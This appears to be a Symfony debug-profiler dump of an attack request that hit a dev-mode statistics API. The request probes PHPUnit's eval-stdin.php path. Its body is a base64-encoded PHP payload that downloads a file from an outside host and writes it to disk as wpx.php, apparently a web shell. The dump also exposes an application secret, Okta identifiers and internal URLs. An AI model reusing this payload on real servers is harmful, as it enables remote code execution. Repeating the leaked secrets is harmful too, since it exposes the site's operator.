ErrorController
Request
GET Parameters
No GET parameters
POST Parameters
No POST parameters
Uploaded Files
No files were uploaded
Request Attributes
Request Headers
| Header | Value |
|---|---|
| accept | "*/*" |
| accept-encoding | "gzip, deflate" |
| connection | "keep-alive" |
| content-length | "706" |
| host | "stats.api.diakse.com" |
| user-agent | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" |
| x-php-ob-level | "1" |
Request Content
Raw
<?php eval('?>'.base64_decode('PD9waHAKZnVuY3Rpb24gYWRtaW5lcigkdXJsLCAkaXNpKSB7CgkkZnAgPSBmb3BlbigkaXNpLCAidyIpOwoJJGNoID0gY3VybF9pbml0KCk7CgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsKTsKCWN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9CSU5BUllUUkFOU0ZFUiwgdHJ1ZSk7CgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIHRydWUpOwoJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLCBmYWxzZSk7CgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRklMRSwgJGZwKTsKCXJldHVybiBjdXJsX2V4ZWMoJGNoKTsKCWN1cmxfY2xvc2UoJGNoKTsKCWZjbG9zZSgkZnApOwoJb2JfZmx1c2goKTsKCWZsdXNoKCk7Cn0KaWYoYWRtaW5lcigiaHR0cDovL3RhbmdpYmxlLWRyaW5rLnN1cmdlLnNoL2NvbmZpZ3gudHh0Iiwid3B4LnBocCIpKSB7CgllY2hvICJVbmFtZSI7Cn0gZWxzZSB7CgllY2hvICJmYWlsZWQiOwp9Cj8+')); ?>
Response
Response Headers
| Header | Value |
|---|---|
| cache-control | "no-cache, private" |
| content-type | "text/html; charset=UTF-8" |
| date | "Sat, 20 Jun 2026 16:02:05 GMT" |
| x-debug-exception | "No%20route%20found%20for%20%22GET%20https%3A%2F%2Fstats.api.diakse.com%2Fvendor%2Fphpunit%2Fphpunit%2Fsrc%2FUtil%2FPHP%2Feval-stdin.php%22" |
| x-debug-exception-file | "%2Fvar%2Fwww%2Fstats%2Fstatsapi%2Fvendor%2Fsymfony%2Fhttp-kernel%2FEventListener%2FRouterListener.php:135" |
| x-debug-token | "1e78d1" |
Cookies
Request Cookies
No request cookies
Response Cookies
No response cookies
Session
Session Metadata
No session metadata
Session Attributes
No session attributes
Session Usage
0
Usages
Stateless check enabled
Session not used.
Flashes
Flashes
No flash messages were created.
Server Parameters
Server Parameters
Defined in .env
| Key | Value |
|---|---|
| APP_ENV | "dev" |
| APP_SECRET | "442a1e74c5afe76ce62557d0621024c0" |
| AUDIENCE_OKTA | "api://default" |
| CHEMIN_BUTTONLIST | "../src/Json/ButtonList.json" |
| CHEMIN_ITEMLIST | "../src/Json/ItemList.json" |
| CHEMIN_SCENELIST | "../src/Json/SceneList.json" |
| CLIENT_ID_OKTA | "0oaitskmjDruuezND356" |
| DATABASE_URL | "mysql://db_user:db_password@127.0.0.1:3306/db_name" |
| DEBUT_CHEMIN_CSV | "../public/csv/" |
| DEBUT_CHEMIN_LOGS | "../logs_storage/" |
| DEBUT_CHEMIN_STATS | "../tmp_stats/" |
| ISSUER_OKTA | "https://dev-526432.okta.com/oauth2/default" |
| MAILER_URL | "null://localhost" |
| MAIL_CSVSENDER | "http://emailsend.diakse.com/sendmail.php" |
| MAIL_URLSENDER | "http://mailstatistiques.diakse.com" |
Defined as regular env variables
| Key | Value |
|---|---|
| APP_DEBUG | "1" |
| CONTENT_LENGTH | "706" |
| CONTEXT_DOCUMENT_ROOT | "/var/www/stats/statsapi/public" |
| CONTEXT_PREFIX | "" |
| DOCUMENT_ROOT | "/var/www/stats/statsapi/public" |
| GATEWAY_INTERFACE | "CGI/1.1" |
| HTTPS | "on" |
| HTTP_ACCEPT | "*/*" |
| HTTP_ACCEPT_ENCODING | "gzip, deflate" |
| HTTP_CONNECTION | "keep-alive" |
| HTTP_HOST | "stats.api.diakse.com" |
| HTTP_USER_AGENT | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" |
| PATH | "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin" |
| PHP_SELF | "/index.php" |
| QUERY_STRING | "" |
| REDIRECT_HTTPS | "on" |
| REDIRECT_SSL_TLS_SNI | "stats.api.diakse.com" |
| REDIRECT_STATUS | "200" |
| REDIRECT_URL | "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php" |
| REMOTE_ADDR | "103.27.109.121" |
| REMOTE_PORT | "48160" |
| REQUEST_METHOD | "GET" |
| REQUEST_SCHEME | "https" |
| REQUEST_TIME | 1781971325 |
| REQUEST_TIME_FLOAT | 1781971325.086 |
| REQUEST_URI | "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php" |
| SCRIPT_FILENAME | "/var/www/stats/statsapi/public/index.php" |
| SCRIPT_NAME | "/index.php" |
| SERVER_ADDR | "141.94.66.7" |
| SERVER_ADMIN | "[no address given]" |
| SERVER_NAME | "stats.api.diakse.com" |
| SERVER_PORT | "443" |
| SERVER_PROTOCOL | "HTTP/1.1" |
| SERVER_SIGNATURE | "<address>Apache/2.4.67 (Debian) Server at stats.api.diakse.com Port 443</address>\n" |
| SERVER_SOFTWARE | "Apache/2.4.67 (Debian)" |
| SSL_TLS_SNI | "stats.api.diakse.com" |
| SYMFONY_DOTENV_VARS | "APP_ENV,APP_SECRET,DATABASE_URL,MAILER_URL,DEBUT_CHEMIN_LOGS,DEBUT_CHEMIN_CSV,DEBUT_CHEMIN_STATS,CHEMIN_BUTTONLIST,CHEMIN_SCENELIST,CHEMIN_ITEMLIST,MAIL_URLSENDER,MAIL_CSVSENDER,AUDIENCE_OKTA,CLIENT_ID_OKTA,ISSUER_OKTA" |
Parent Request
Return to parent request (token = 029dcc)
| Key | Value |
|---|---|
| _remove_csp_headers | true |
| _stopwatch_token | "a8e46c" |